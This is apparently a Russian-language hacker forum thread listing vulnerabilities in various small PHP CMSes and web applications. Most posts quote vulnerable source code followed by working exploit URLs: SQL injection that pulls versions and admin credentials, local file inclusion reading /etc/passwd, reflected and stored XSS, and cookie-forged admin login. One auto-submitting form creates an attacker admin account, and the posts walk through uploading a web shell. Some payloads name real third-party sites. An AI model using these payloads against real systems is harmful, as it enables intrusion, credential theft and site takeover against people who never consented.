http://localhost/Own_rs/index.php?hledej=')+union+select+11,version(),conc at_ws(0x203a20,jmeno,heslo,prava),14,15,16,%2217'+ or+1=1+limit+0,1+--+%22,18,19,110,111,database()+from+ownrs_autori;%0 0+--+
Twin $park
11.01.2010, 00:19
Corporate Merchandise Solution
скрипт коммерческий,однако cms фактически не являеться
Blind SQL inj
пример:
http://demo.mycorporatestores.com/catalog.php?categoryID=31+and+substring(@@version, 1,1)=3
WR-Board
v 1.5>
XSS
index.php?fid=XSS&id=
(с) Twin $park
cms pragmaMx 0.1.11
http://www.pragmamx.org/Downloads-op-view-lid-731.html
dork: "This Website based on pragmaMx"
Passive XSS
уязвимы параметры newlang, name, op, query, show_all,orderby, min, cid, id
http://localhost/html/index.php?newlang=1>"><script>alert(121212);</script>
http://localhost/html/index.php?newlang=1>"><script>alert(121212)%3B</script>
http://localhost/html/modules.php?name=1>"><script>alert(121212)%3B</script>
http://localhost/html/modules.php?name=nnn&newlang=1>"><script>alert(121212)%3B</script>
http://localhost/html/modules.php?name=nnn&op=NewLinks&query=1>"><script>alert(121221)%3B</script>&min=0&orderby=dateD
http://localhost/html/modules.php?name=nnn&show_all=1>"><script>alert(121212)%3B</script>
http://localhost/html/modules.php?name=nnn&op=AddEntry&query=111&min=0&orderby=1%22'%3E%3Cscript%3Ealert(121212)%3B%3C/script%3E
http://localhost/html/modules.php?name=nnnt&min=1%3E%22%3E%3Cscript%3Ealert(121212)%3B%3C/script%3E&orderby=dateD&cid=0
http://localhost/html/modules.php?name=nnn&rop=showcontent&id=1%3E%22%3E%3Cscript%3Ealert(121212)%3B%3C/script%3E
SQL
права админа
admin/modules/banners.php
function bannerdelete($bid, $ok = 0)
{
global $prefix, $bgcolor2, $bgcolor3, $script;
if (!empty($ok)) {
if ($ok == 1) {
}
sql_query("delete from " . $prefix . "_banner where bid='$bid'");
header("Location: admin.php?op=banneradmin#top");
} else {
include("header.php");
GraphicAdmin();
OpenTable();
echo "<center><font class=\"title\"><b>" . _BANNERSADMIN . "</b></font><br /><br />";
echo "<a href=\"admin.php?op=banneradmin\">" . _BACKTO . " " . _ADMINMENU . "</a></center>";
CloseTable();
echo '<br />';
$result = sql_query("select bid,imptotal,impmade,clicks,imageurl,clickurl,altt ext,script,active,typ from " . $prefix . "_banner where bid=$bid");
list($bid, $imptotal, $impmade, $clicks, $imageurl, $clickurl, $alttext, $script, $active, $typ) = sql_fetch_row($result);http://localhost/html/admin.php?op=bannerdelete&bid=-1+union+select+1,version(),3,4,5,6,7,8,9,10+--+&ok=0
function banneredit($bid)
{
global $prefix;
include("header.php");
GraphicAdmin();
OpenTable();
echo "<center><font class=\"title\"><b>" . _BANNERSADMIN . "</b></font><br /><br />";
echo "<a href=\"admin.php?op=banneradmin\">" . _BACKTO . " " . _ADMINMENU . "</a></center>";
CloseTable();
echo '<br />';
$result = sql_query("select cid, imptotal, impmade, clicks, imageurl, clickurl, alttext, script, typ, active from " . $prefix . "_banner where bid=$bid");http://localhost/html/admin.php?op=banneredit&bid=-1+union+select+1,2,3,4,version(),6,7,8,9,10+--+&ok=0
function bannerclientdelete($cid, $ok = 0)
{
global $prefix, $bid, $cid, $impmade, $clicks, $imageurl, $alttext, $bdate, $typ, $script;
if (!empty($ok)) {
if ($ok == 1) {
sql_query("delete from " . $prefix . "_banner where cid='$cid'");
sql_query("delete from " . $prefix . "_bannerclient where cid='$cid'");
}
header("Location: admin.php?op=banneradmin#top");
} else {
include("header.php");
GraphicAdmin();
OpenTable();
echo "<center><font class=\"title\"><b>" . _BANNERSADMIN . "</b></font><br /><br />";
echo "<a href=\"admin.php?op=banneradmin\">" . _BACKTO . " " . _ADMINMENU . "</a></center>";
CloseTable();
echo '<br />';
OpenTableAl();
$result2 = sql_query("select bid,cid,impmade,clicks,imageurl,clickurl,alttext,d atestart,typ,script from " . $prefix . "_banner where cid=$cid");http://localhost/html/admin.php?op=bannerclientdelete&cid=-1+union+select+1,2,3,4,5,6,7,8,9,version()+--+
function bannerclientedit($cid)
{
global $prefix;
include("header.php");
GraphicAdmin();
OpenTable();
echo "<div align=\"center\"><font class=\"title\"><b>" . _BANNERSADMIN . "</b></font><br /><br />";
echo "<a href=\"admin.php?op=banneradmin\">" . _BACKTO . " " . _ADMINMENU . "</a></div>";
CloseTable();
echo '<br />';
$result = sql_query("select name, contact, email, login, passwd, extrainfo from " . $prefix . "_bannerclient where cid=$cid");
list($name, $contact, $email, $login, $passwd, $extrainfo) = sql_fetch_row($result);http://localhost/html/admin.php?op=bannerclientedit&cid=-1+union+select+1,version(),3,4,5,6+--+
==================
Обновилась версия CMS до
PragmaMX 0.1.12
В ней добавлен новый модуль - osc2pragmaMX, это уже известная osCommerce Online Merchant v2.2 RC2a.
Соответсвенно появилаь уязвимость:
catalog/admin/includes/application_top.php
...
// redirect to login page if administrator is not yet logged in
if (!tep_session_is_registered('admin')) {
if (isset($_COOKIE['admin'])){
$bridge_admin = $_COOKIE['admin'];
$bridge_admin_login = false;
if (!is_array($bridge_admin)) {
$bridge_admin = base64_decode($bridge_admin);
$bridge_admin = addslashes($bridge_admin);
$bridge_admin = explode(":", $bridge_admin);
}
$bridge_adminid = $bridge_admin[0];
$bridge_adminpwd = $bridge_admin[1];
$bridge_adminid = substr(addslashes($bridge_adminid), 0, 25);
if (!empty($bridge_adminid) && !empty($bridge_adminpwd)) {
$sql = "SELECT pwd FROM ".$prefix."_authors WHERE aid='$bridge_adminid'";
$result = tep_db_query($sql);
$pass = tep_db_fetch_array($result);
if ($pass['pwd'] == $bridge_adminpwd && !empty($pass['pwd'])){
tep_session_register('admin');
}
}
}else{
$redirect = false;
$current_page = basename($PHP_SELF);
if ($current_page != FILENAME_LOGIN) {
if (!tep_session_is_registered('redirect_origin')) {
tep_session_register('redirect_origin');
$redirect_origin = array('page' => $current_page,
'get' => $HTTP_GET_VARS);
}
$redirect = true;
}
if ($redirect == true) {
tep_redirect(tep_href_link(FILENAME_LOGIN));
}
unset($redirect);
}
уязвимость находится в строках
$current_page = basename($PHP_SELF);
if ($current_page != FILENAME_LOGIN) {
С точки зрения обычного (если он не посещает antichat.ru) программиста это безупречная проверка, но конструкция
admin/any_file.php/login.php проходит эту проверку, а на выполнение подается any_file.php.
Заливка шелла
запускаем файловый менеджер
http://demo.osc2pragmamx.org/modules/catalog/admin/file_manager.php/login.php
не забываем добавлять к УРЛу login.php
новый файл
http://demo.osc2pragmamx.org/modules/catalog/admin/file_manager.php/login.php?action=new_file
Добавляем себя в админы.
AddAdm.html
<form method="post" action="http://demo.osc2pragmamx.org/modules/catalog/admin/administrators.php/login.php?action=insert">
<input type=hidden name="username" value="as" />
<input type=hidden name="password" value="123123" />
<input type=hidden name="x" value="16" />
<input type=hidden name="y" value="13" />
</form>
<script>document.getElementsByTagName("form")[0].submit();</script>
Уязвимость работает, даже если модуль не подключен, поскольку для запуска используем не CMS,
а путь до скрипта http:/site.com/path_cms/modules/catalog/admin/any_file.php
Дабы не копировать по 5 раз. Лучше дам просто ссылку на пост, надеюсь так можно. Там 1 движок News Edit, а второй что-то похожее на движек, просто компания делает сайты все как один, потому это тоже можно назвать движком :)
http://forum.antichat.ru/threadedpost1839460.html#post1839460
cms awcm v2_1 final
http://sourceforge.net/projects/awcm/
header.php
if(isset($_GET['id'])) {
$gid = $_GET['id'];
if(!is_numeric($gid) OR $gid == "") { exit; }
}
if(isset($_GET['pm'])) {
$gpm = $_GET['pm'];
if(eregi("'",$gpm) OR eregi("SELECT",$gpm) OR eregi("union",$gpm) OR eregi("delete",$gpm) OR eregi("table",$gpm) OR eregi("member",$gpm) OR eregi("update",$gpm) OR eregi('admin',$gpm) OR $gpm == "") { exit; }
}
if(isset($_GET['search'])) {
$gsearch = $_GET['search'];
if(eregi("'",$gsearch)) { exit; }
}
....
if(isset($_COOKIE['awcm_theme'])) {
$theme_file = $_COOKIE['awcm_theme'];
} else {
$theme_file = $mysql_maininfo_row['defult_theme'];
}
if(isset($_COOKIE['awcm_lang'])) {
$lang_file = $_COOKIE['awcm_lang'];
} else {
$lang_file = $mysql_maininfo_row['defult_language'];
}
@include ("themes/$theme_file/settings.php");
include ("common.php");
@include ("languages/$lang_file");
$member_cok = $_COOKIE['awcm_member']-197;
if(isset($_SESSION['awcm_member'])) {
$member = $_SESSION['awcm_member'];
} elseif (isset($_COOKIE['awcm_member'])) {
$mysql_checkdookie51_member_query = mysql_query("SELECT password,id FROM awcm_members WHERE id = '$member_cok'");
$mysql_checkdookie51_member_row = mysql_fetch_array($mysql_checkdookie51_member_quer y);
$mysql_checkdookie51_member_total = mysql_num_rows($mysql_checkdookie51_member_query);
if ($mysql_checkdookie51_member_total > 0) {
$member = $mysql_checkdookie51_member_row['id'];
$_SESSION['awcm_member'] = $mysql_checkdookie51_member_row['id'];
}
} else {
$member = 'no';
}
LFI
mq=off
http://localhost/awcm/header.php
cookies
awcm_theme=../../../../../../../../etc/passwd%00
LFI
http://localhost/awcm/header.php
cookies
awcm_lang=../../../../../../../../etc/passwd
Заходим админом
http://localhost/awcm/index.php
cookies
awcm_member=198
-----------------------
include/avatar.php
include ("../connect.php");
$gh = $_GET['h'];
$gw = $_GET['w'];
$gid = $_GET['id'];
$mysql_query = mysql_query("SELECT id,avatar FROM awcm_members WHERE id = '$gid'");
$mysql_total = mysql_num_rows($mysql_query);
$mysql_row = mysql_fetch_array($mysql_query);
if($mysql_total == 1) {
if($mysql_row['avatar'] == "") {
print '<img src="../images/no_avatar.jpg" height="'.$gh.'" width="'.$gw.'" />';
} else {
print '<img src="'.$mysql_row['avatar'].'" height="'.$gh.'" width="'.$gw.'" />';
}
} else {
print '<img src="../images/no_avatar.jpg" height="'.$gh.'" width="'.$gw.'" />';
}
Passive XSS
mq=off
http://localhost/awcm/includes/avatar.php?h=1>"><SCRiPt>alert(1212);</SCRiPt>
http://localhost/awcm/includes/avatar.php?w=1>"><SCRiPt>alert(1212);</SCRiPt>
SQL
mq=off
http://localhost/awcm/includes/avatar.php?id=1'+and+1=2+union+select+1,version()+--+
-----------------------
includes/show_vid_title.php
include ("../connect.php");
$gid = $_GET['id'];
$mysql_show_vid_title_php_query = mysql_query("SELECT id,title FROM awcm_videos_videos WHERE id = '$gid'");
$mysql_show_vid_title_php_row = mysql_fetch_array($mysql_show_vid_title_php_query) ;
print $mysql_show_vid_title_php_row['title'];
SQL
mq=off
http://localhost/awcm/includes/show_vid_title.php?id=-1'+union+select+1,version()+--+
===============
RulleR
а через параметры 'pm' и 'search' нельзя провести инъекцию? вижу функцию eregi(), а она воспринимает null byte за конец строки...
можно
member_cp_pm.php
include ("header.php");
...
if(isset($_GET['pm'])) {
$mysql_mmbrcppmviewpmpg_query = mysql_query("SELECT * FROM awcm_member_pms WHERE hash = '$_GET[pm]' AND reciever = '$member' OR hash = '$_GET[pm]' AND sender = '$member'");
SQL
mq=off
http://localhost/awcm/member_cp_pm.php?pm=%00'+union+select+1,2,3,versio n(),5,6,7;+--+
SmartyCMS
http://sunet.dl.sourceforge.net/project/smartycms/smartycms/0.9.4 build 334/smartycms-0.9.4-334.zip
Passive XSS
http://localhost/smartycms-0.9.4-334/index.php?page=tutorial&cmsUserRole=1>'><script>alert(121212);</script>
----------------
js/tiny_mce/plugins/ibrowser/scripts/loadmsg.php
$l = (isset($_REQUEST['lang']) ? new PLUG_Lang($_REQUEST['lang']) : new PLUG_Lang($cfg['lang']));
$l->setBlock('ibrowser');
js/tiny_mce/plugins/ibrowser/langs/lang.class.php
function setBlock( $value ) {
$this -> block = $value;
function getLang() {
$this -> lang = $value;
function loadData() {
global $cfg;
include( dirname(__FILE__) . '/' . $this -> lang.'.php' );
LFI
mq=off
http://localhost/smartycms-0.9.4-334/js/tiny_mce/plugins/ibrowser/scripts/loadmsg.php?lang=../../../../../../../../../../boot.ini%00
аналогично
http://localhost/smartycms-0.9.4-334/js/tiny_mce/plugins/ibrowser/scripts/rfiles.php?lang=../../../../../../../../../../boot.ini%00
http://localhost/smartycms-0.9.4-334/js/tiny_mce/plugins/ibrowser/scripts/symbols.php?lang=../../../../../../../../../../boot.ini%00
----------------
config/smartycms.config.php
// url request param name for template call
$smartycms['config']['PageCallParamName'] = 'page';
libraries/smarty-cms/Smarty_cms.php
// read default template name from given url param
if (!$resource_name && !empty($smartycms['config']['PageCallParamName']))
if ( !empty($_REQUEST[$smartycms['config']['PageCallParamName']]) )
{
$page = $_REQUEST[$smartycms['config']['PageCallParamName']];
$ext = strrchr($page, '.');
if($ext !== false) $resource_name = substr($page, 0, -strlen($ext)); else $resource_name = $page;
$resource_name .= '.'.$smartycms['config']['TemplateFileExtension'];
}
libraries/smarty/Smarty.class.php
if ($display && !$this->caching && count($this->_plugins['outputfilter']) == 0) {
if ($this->_is_compiled($resource_name, $_smarty_compile_path)
|| $this->_compile_resource($resource_name, $_smarty_compile_path))
{
include($_smarty_compile_path);
}
LFI
mq=off
http://localhost/smartycms-0.9.4-334/index.php?page=/boot.ini%00.html
----------------
templates/handler/book_content_handler.php
function book_content_handler($params, &$smarty)
{
global $smartycms;
// create individual chapter id
if (!$_GET['chapterid'] || $_GET['chapterid']=="1") $chapterid=time(); else $chapterid=$_GET['chapterid'];
// send content to template
$smarty->assign("chapterid",$chapterid);
$smarty->assign("book_chapter_id","book_chapter_".$chapterid);
$smarty->assign("book_content_id","book_content_".$chapterid);
}
templates/tutorial.tpl
{* Tutorial content block *}
{include file="modules/book_content.tpl" pid="smartycms_tutorial"}<br>
templates/modules/book_content.tpl
{if $smarty.request.chapterid}
<a name="start"></a>
<div class="cms_book_headline">{cms id="$book_chapter_id" theme="singleline" pid=$pid title="edit chapter headline"}Please insert here the chapter headline{/cms}</div><br>
{cms id="$book_content_id" pid=$pid title="edit chapter content" height="250" smartytags="0"}<div class="cms_book_bodytext">Please insert here the chapter content</div>{/cms}<br><br>
{/if}
view source
http://localhost/smartycms-0.9.4-334/index.php?page=tutorial&chapterid=../../../../../../../../../../boot.ini
http://localhost/smartycms-0.9.4-334/index.php?page=tutorial&chapterid=../../../../../index.php
cms sabros.us
http://sourceforge.net/projects/sabrosus/files/latest
pXSS
http://localhost/sabrosus/index.php?busqueda=1<ScRiPt >alert(1212);</ScRiPt>
http://localhost/sabrosus/index.php?tag=1>"><ScRiPt>alert(1212);</ScRiPt>
------------
atom.php
if (isset($_GET["tag"])) {
$navegador = strtolower( $_SERVER['HTTP_USER_AGENT'] );
if (stristr($navegador, "opera") || stristr($navegador, "msie")) {
$tagtag = utf8_decode($_GET["tag"]);
} else {
$tagtag = $_GET["tag"];
}
}
$sqlStr = "SELECT DISTINCT link.* FROM ".$prefix."sabrosus as link, ".$prefix."tags as tag, ".$prefix."linktags as rel WHERE";
if(isset($tagtag)){
$sqlStr .= " (tag.tag LIKE '$tagtag') AND ";
}
$sqlStr .= " (tag.id = rel.tag_id AND rel.link_id = link.id_enlace) AND link.privado = 0 ORDER BY link.fecha DESC";
if(isset($cuantos)){
if($cuantos!='todos' && is_numeric($cuantos)){
$sqlStr .= " LIMIT $cuantos";
}
if($cuantos!='todos' && !is_numeric($cuantos)){
$sqlStr .= " LIMIT 10";
}
} else {
$sqlStr .= " LIMIT 10";
}
$result = mysql_query($sqlStr,$link);
SQL
mq=off
http://localhost/sabrosus/atom.php?tag=')+union+select+1,version(),3,4,5,6+--+
User-Agent=111
Croogo 1.2
(Геморная маленько)
Пассивная XSS
/admin/filemanager/browse?path=%22%3E%3Cscript%3Ealert();%3C/script%3E
Сработает на админе если он авторизированный.
ps
Залить шелл легко (Права админа нужны)
/admin/attachments
Там я думаю догадаетесь.
Imer - Site Manager 3.5.0
sourceforge.net/projects/ism-imersiteman/
path disclosure
http://localhost/imer/help/admin_common.php
--------------
divcliente.php
require_once './conecta.php';
require_once './suporte.php';
require_once './arrays.php';
if ($oplcat == '2'){
if ($ople == 'E'){
$pg_usuario = mysql_query("SELECT * FROM swb_usuarios WHERE ID = $idl LIMIT 1");
SQL
rg=on
http://localhost/imer/divcliente.php?oplcat=2&ople=E&idl=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,3 2,version(),34,35,36,37,38,39,40,41,42,43+--+
http://www.trudelmer.com.br/imer/divcliente.php?oplcat=2&ople=E&idl=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,3 2,version(),34,35,36,37,38,39,40,41,42,43+--+
--------------
noticia.php
$pg_noticias = mysql_query("SELECT * FROM swb_noticias WHERE status = 'A' AND ID = $idl LIMIT 1");SQL
rg=on
http://localhost/imer/noticia.php?conf_empresa=2&user=1&idl=-3+union+select+1,2,version(),4,5,6,7,8,9,10,11,12--
http://www.trudelmer.com.br/imer/noticia.php?conf_empresa=2&user=1&idl=-3+union+select+1,2,version(),4,5,6,7,8,9,10,11,12--
--------------
divhelp.php
require_once './conecta.php';
require_once './suporte.php';
require_once './arrays.php';
if ($oplhlp == 'Y' || $oplhlp == 'N' || $oplhlp == 'R' || $oplhlp == 'L'){
if ($ople == 'E'){
$pg_userhelp = mysql_query("SELECT * FROM livehelp_users WHERE username = '$login' LIMIT 1");
SQL
rg=on
mq=off
http://localhost/imer/divhelp.php?oplhlp=Y&ople=E&&login=hhhh'+union+select+1,2,3,4,5,6,7,8,9,10,11,1 2,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28, 29,version(),31,32,33,34,35,36,37,38,39,40+limit+1 +--+
MaSTeR GэN
04.02.2010, 01:06
PHP - STATS
текущая версия 0.1.9.2
сайт: php-stats.com
фаил : downloads.php
условия magic_quotes_gpc = off
уязвимый код :
$result=sql_query("SELECT nome,descrizione,type,home,size,downloads,withinte rface FROM $option[prefix]_downloads WHERE id='$id'");
.................................................. .................................................. ..........
if(($mode!='download' && $downloads_withinterface=='YES') || $errorDownload===true)
{
..........................................
else {а вот собственно тут уже и имеем вывод на экран}
{
использование :
http://localhost/php-stats/download.php?mode=downloadd&id=999999'+union+select+1,2,2,3,4,5,"YES"+from+information_schema.tables%23
Пример для сайта производителей:
http://php-stats.com/stat/download.php?mode=downloadd&id=999999'+union+select+1,version(),2,3,4,5,"YES"%23
P.S 6й столбец должен быть обезательно задан как "YES" иначе не будет вывода
GAzie - Gestione Aziendale v4.0.13
http://sourceforge.net/projects/gazie/
Finance application written in PHP using a MySql database backend for small to medium enterprise.
It lets you write invoices, manage stock, manage orders , accounting, etc.
Send tax receipt to electronic cash register.
pXSS
http://localhost/gazie/modules/root/login_admin.php
post
Login=1>'><script>alert(1212)</script>
Password=111111
actionflag=Login
----------------
modules/root/login_admin.php
if (isset ($_POST['actionflag'])) {
// checkUser();
$result = gaz_dbi_get_row ($gTables['admin'], "Login", $_POST['Login']);
if (!empty ($result['lang'])){
$lang = $result['lang'];
} else {
$lang = 'italian';
}
require("./lang.".$lang.".php");
library/include/mysql.lib.php
function gaz_dbi_get_row( $table, $fnm, $fval)
{
global $link;
$result = mysql_query("SELECT * FROM $table WHERE $fnm = '$fval'", $link);
if (!$result) die (" Error gaz_dbi_get_row: ".mysql_error());
return mysql_fetch_array( $result);
}
SQL+LFI
mq=off
http://localhost/gazie/modules/root/login_admin.php
post
Login=111'+union+select+1,2,3,"../../../../../../../../../../boot.ini%00",5,6,7,8,9,10,11,12,13+--+
Password=111111
actionflag=Login
Andy's PHP Knowledgebase v0.94.2
http://aphpkb.org/
forgot_password.php
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
<p>User Name:<br /> <input type="text" name="username" size="10" maxlength="20" value="<?php if (isset($_POST['username'])) echo $_POST['username']; ?>" /></p>
pXSS
http://localhost/aphpkb/forgot_password.php
post username=1>"><script%20%0a%0d>alert(121212)%3B</script>
-------------------------------------------------------------
keysearch.php
if($_REQUEST['keyword_list']){
$keyword_list = escdata($_REQUEST['keyword_list']);
} else {
$keyword_list = 'nothing';
}
...
// If it's not the first page, make a Previous button.
if ($current_page != 1) {
echo '<a href="keysearch.php?keyword_list=' . $keyword_list . '&s=' . ($start - $display) . '&np=' . $num_pages . '">Previous</a> ';
}
// Make all the numbered pages.
for ($i = 1; $i <= $num_pages; $i++) {
if ($i != $current_page) {
echo '<a href="keysearch.php?keyword_list=' . $keyword_list . '&s=' . (($display * ($i - 1))) . '&np=' . $num_pages . '">' . $i . '</a> ';
} else {
echo $i . ' ';
}
}
// If it's not the last page, make a Next button.
if ($current_page != $num_pages) {
echo '<a href="keysearch.php?keyword_list=' . $keyword_list . '&s=' . ($start + $display) . '&np=' . $num_pages . '">Next</a>';
}
pXSS
http://localhost/aphpkb/keysearch.php
post keyword_list=1<script>alert(121212)</script>
-------------------------------------------------------------
login.php
<p>User Name:<br /><input type="text" name="username" size="10" maxlength="20" value="<?php if (isset($_POST['username'])) echo $_POST['username']; ?>" /></p>
pXSS
http://localhost/aphpkb/login.php
post username=1>"><script%20%0a%0d>alert(121212)%3B</script>
-------------------------------------------------------------
q.php
$articledatae = escdata(xss_clean($_POST['article']) );
...
$articledata = stripslashes($articledatae);
echo '<p>Article Details</p>';
echo "<p>Question:<br />$articledata</p>";
pXSS
http://localhost/aphpkb/q.php
post article=1<div+style+STYLE="width:expression(alert(121212))%3B">&aid=111&submit=Submit%20Question
-------------------------------------------------------------
register.php
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
<p>First Name:<br /> <input type="text" name="first_name" size="15" maxlength="15" value="<?php if (isset($_POST['first_name'])) echo $_POST['first_name']; ?>" /></p>
<p>Last Name:<br /> <input type="text" name="last_name" size="30" maxlength="30" value="<?php if (isset($_POST['last_name'])) echo $_POST['last_name']; ?>" /></p>
<p>Email Address:<br /> <input type="text" name="email" size="40" maxlength="40" value="<?php if (isset($_POST['email'])) echo $_POST['email']; ?>" /> </p>
<p>User Name:<br /> <input type="text" name="username" size="10" maxlength="20" value="<?php if (isset($_POST['username'])) echo $_POST['username']; ?>" /> <small>Use only letters, numbers, and the underscore. Must be between 4 and 20 characters long.</small></p>
pXSS
http://localhost/aphpkb/register.php
post first_name=1>"><script%20%0a%0d>alert(121212)%3B</script
post last_name=1>"><script%20%0a%0d>alert(121212)%3B</script>
post email=1>"><script%20%0a%0d>alert(121212)%3B</script>
post username=1>"><script%20%0a%0d>alert(121212)%3B</script>
-------------------------------------------------------------
saa.php
$articledatae = escdata(xss_clean($_POST['article']) );
...
$articledata = stripslashes($articledatae);
echo '<p>Article Details</p>';
if($titlee) { echo "<p>Title: $titlee</p>"; }
echo "<p>Article:<br />$articledata</p>";
pXSS
http://localhost/aphpkb/saa.php
post article=1<div+style="width:expression(alert(121212))%3B">
Angora Guestbook v1.2.1
http://sourceforge.net/projects/aguestbook/
index.php
// Language settings
$langName = secureVar($_GET['l'], 'html');
if (! empty($langName))
$_SESSION['langName'] = $langName;
if (empty($_SESSION['langName']))
$langName = $config['guestbookLang'];
else
$langName = $_SESSION['langName'];
@include_once "languages/" . $langName . "/frontend.php";
classes/functions.php
function secureVar($var, $type) {
global $con;
switch ($type) {
case 'sql' :
if (get_magic_quotes_gpc())
$var = stripslashes($var);
if (function_exists("mysql_real_escape_string"))
$var = mysql_real_escape_string($var);
else
$var = addslashes($var);
break;
case 'html' :
$var = htmlspecialchars($var, ENT_QUOTES);
break;
default :
if (get_magic_quotes_gpc())
$var = stripslashes($var);
if (function_exists("mysql_real_escape_string"))
$var = mysql_real_escape_string($var);
else
$var = addslashes($var);
}
return $var;
}
LFI
mq=off
http://localhost/angora_1_2_1/guestbook/index.php?l=../../../../../../../../boot.ini%00
------------------------
admin/includes/content/phpinfo.php
if (@$magic != "0xDEADBEEF")
die("This file cannot be executed directly");
if (base64_decode($_SESSION['privilege']) != 1) {
$error = new Error($lang['noPermission']);
die($error->showError());
}
ob_start();
phpinfo();
phpinfo
http://localhost/angora_1_2_1/guestbook/admin/includes/content/phpinfo.php?magic=0xDEADBEEF&_SESSION[privilege]=MQ==
Root-access
07.02.2010, 17:10
Продукт: mycroCMS
Сайт: http://sourceforge.net/projects/mycrocms/
Path diclosing
http://localhost/mycrocms/?entry_id='
LFI
Участок кода в /admin/admin.php:
if ($admin=="error"){
include ("error.php");
}elseif ($userManager->isLoggedIn()) {
if ($admin == "") {
include ("dashboard.php");
} else {
if (file_exists("admin/$admin.php")) {
include ("admin/$admin.php");
} else {
die("File admin/$admin.php does not exist!");
}
}
$userManager->setLastTime(time());
} else {
if ($admin == "") {
include ("dashboard.php");
} else {
if (file_exists("admin/$admin.php")) {
include ("admin/$admin.php");
} else {
die("File admin/$admin.php does not exist!");
}
}
$userManager->setLastTime(time());
}
Отсюда инклуд. Эксплуатация:
http://localhost/mycrocms/?admin=../../../../../../etc/passwd%00
(права админа не нужны)
SQL-Injection
magiq_quotes=Off
Смотрим в \include\Categories.php:
function get_category_by_id($id) {
global $sql, $categories;
// use array if preloaded
if (is_array($categories)) {
$res = array_search_recursive('category_id', $id, $categories);
}
if (!is_array($res[0])) {
$res = $sql->read('categories', 'category_id', $id);
}
return $res[0];
}
Теперь ищем метод read в классе sql. Весь код кидать не буду, но фильтрации там нет.
$sql = "SELECT * FROM `$tablep` " . $where . $order . $limit;
$result = mysql_query($sql);
Пример эксплуатации:
http://localhost/mycrocms/?cat_id=1'+and+row(1,1)%3E(select+count(*),concat( version(),0x3a,floor(rand()*2))
+x+from+mysql.user+group+by+x+limit+1)+and+'a'='a
Code Execution
Заливка шелла в админке. Идём в меню Plugins, там есть стандартный плагин second для редактирования шаблонов (а на деле - любых
файлов). Активируем его, затем идём на http://localhost/mycrocms/?plugin=second&page=themes и редактируем любой файл.
[x60]unu
08.02.2010, 10:26
Pyrophobia CMS
Product : http://sourceforge.net/projects/pyrophobia/
Version : Pyrophobia CMS 2.1.3.1
Active XSS
1. Forum -- заходим в форум -- отправляем сообщение с текстом ( "><script>alert("xss");</script> )
2. PM -- Send User a PM -- отправляем текст ( '"/><script>alert("xss");</script> )
SQL injection
MySQL Version : 5.0.45 ---
http://localhost/[version]/?act=downloads/browsecategory&cat=1'/**/and/**/1=(SELECT/**/*/**/FROM(SELECT/**/*/**/FROM(SELECT/**/NAME_CONST((version()),14)d)/**/as/**/t/**/JOIN/**/(SELECT/**/NAME_CONST((version()),14)e)b)a)/**/and/**/'1'='1
http://localhost/[version]/index.php?act=UCP&CODE=02&mssg=3'/**/and/**/1=(SELECT/**/*/**/FROM(SELECT/**/*/**/FROM(SELECT/**/NAME_CONST((version()),14)d)/**/as/**/t/**/JOIN/**/(SELECT/**/NAME_CONST((version()),14)e)b)a)/**/and/**/'1'='1
На данном движке их много :(
LFI
milw0rm (http://milw0rm.com/exploits/8095)
BrewBlogger v2.3.1
http://www.brewblogger.net/
patch disclosure
http://localhost/brewblogger/includes/plug-ins.inc.php
----------------------
index.php
//image dir / SQL information and connect to MySQL server
require_once ('Connections/config.php');
//choose SQL table and set up functions to user authentication and
//navbar configuration for login/logout links
require ('includes/authentication_nav.inc.php'); session_start();
includes\authentication_nav.inc.php
$query_user = sprintf("SELECT * FROM users WHERE user_name = '%s'", $loginUsername);
$user = mysql_query($query_user, $brewing) or die(mysql_error());
$row_user = mysql_fetch_assoc($user);
$totalRows_user = mysql_num_rows($user);
Blind SQL
mq=off
http://localhost/brewblogger/index.php?loginUsername='+UNION+SELECT+(select+*+f rom(select+*+from(select+name_const((version()),1) d)+as+t+join+(select+name_const((version()),1)e)b) a)+--+
-----------------------
includes/db_connect_log.inc.php
/* set pagination variables */
if ($view == "limited") $display = 25;
elseif ($view == "all") $display = 9999999;
$pg = (isset($_REQUEST['pg']) && ctype_digit($_REQUEST['pg'])) ? $_REQUEST['pg'] : 1;
$start = $display * $pg - $display;
if (($row_pref['mode'] == "1") || (($row_pref['mode'] == "2") && ($filter == "all"))) {
mysql_select_db($database_brewing, $brewing);
$query_result = "SELECT count(*) FROM brewing";
if ($style != "all") $query_result .= " WHERE brewStyle='$style' AND"; else $query_result .= " WHERE";
$query_result .= " NOT brewArchive='Y'";
$result = mysql_query($query_result, $brewing) or die(mysql_error());
$total = mysql_result($result, 0);
$query_log = "SELECT * FROM brewing";
if ($style != "all") $query_log .= " WHERE brewStyle='$style' AND"; else $query_log .= " WHERE";
$query_log .= " NOT brewArchive='Y'";
$query_log .= " ORDER BY $sort $dir LIMIT $start, $display";
$sort слешируется ранее,
includes/url_variables.inc.php
$sort = "brewDate";
if (isset($_GET['sort'])) {
$sort = (get_magic_quotes_gpc()) ? $_GET['sort'] : addslashes($_GET['sort']);
}
$display никак не фильтруется. Хочется получить limit union select но мешает order by, поэтому только
Blind SQL
http://localhost/brewblogger/index.php?page=brewBlogList&&sort=(select+*+from(select+*+from(select+name_cons t((version()),1)d)+as+t+join+(select+name_const((v ersion()),1)e)b)a)
----------------------
sections.entry.inc.php
$dbTable = "brewing";
if (isset($_GET['dbTable'])) {
$dbTable = (get_magic_quotes_gpc()) ? $_GET['dbTable'] : addslashes($_GET['dbTable']);
}
if ($action == "default") {
$style = "default";
if (isset($_GET['style'])) {
$style = (get_magic_quotes_gpc()) ? $_GET['style'] : addslashes($_GET['style']);
}
}
else
$style = $_POST['style'];
if (($action == "verify") || ($action == "print")) {
$name = $_POST['name'];
$address = $_POST['address'];
$city = $_POST['city'];
$state = $_POST['state'];
$zip = $_POST['zip'];
$homePhone = $_POST['homePhone'];
$workPhone = $_POST['workPhone'];
$email = $_POST['email'];
$brewClub = $_POST['brewClub'];
$brewName = $_POST['brewName'];
$still = $_POST['still'];
$dry = $_POST['dry'];
$hydromel = $_POST['hydromel'];
$petillant = $_POST['petillant'];
$semi = $_POST['semi'];
$standard = $_POST['standard'];
$sweet = $_POST['sweet'];
